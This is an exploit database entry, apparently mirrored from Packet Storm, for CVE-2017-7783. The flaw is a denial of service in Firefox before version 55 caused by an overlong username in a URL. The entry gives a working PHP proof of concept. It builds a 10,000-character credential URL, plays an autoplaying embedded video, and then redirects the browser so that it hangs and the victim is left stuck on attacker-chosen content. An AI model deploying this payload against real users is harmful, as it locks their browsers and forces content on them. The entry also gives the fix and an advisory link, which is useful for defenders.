Lucene search
K

Mozilla Firefox Username Denial Of Service

🗓️ 20 Oct 2017 00:00:00Reported by Amit SangraType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Mozilla Firefox Username Denial Of Service - Exploi

Related
Code
`# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content  
# Category: Denial of Service  
# Date: 5/11/17  
# CVE : CVE-2017-7783  
# Affected Version: < Mozilla Firefox 55  
# Tested on: Windows/Linux  
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/  
# Exploit Author: Amit Sangra  
# Website: http://CyberCriminals.net  
  
# Description:  
  
If a long user name is used in a username/password combination in a site URL (such as http://UserName:[email protected]), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.  
  
# Impact:  
  
An attacker can create a webpage having some content and exploit.  
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.  
  
# Exploit:  
  
<?php  
$exploit=str_repeat(chr(0x41),10000);  
$location="http://Username".$exploit.":[email protected]";  
echo "<center><h1>Firefox Lockout Vulnerability</h1>";  
//Content to be forcibly viewed  
echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";  
//End  
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";  
?>  
  
# Solution:  
  
Update to version 55  
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/  
  
# Mozilla Foundation Security Advisory:  
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation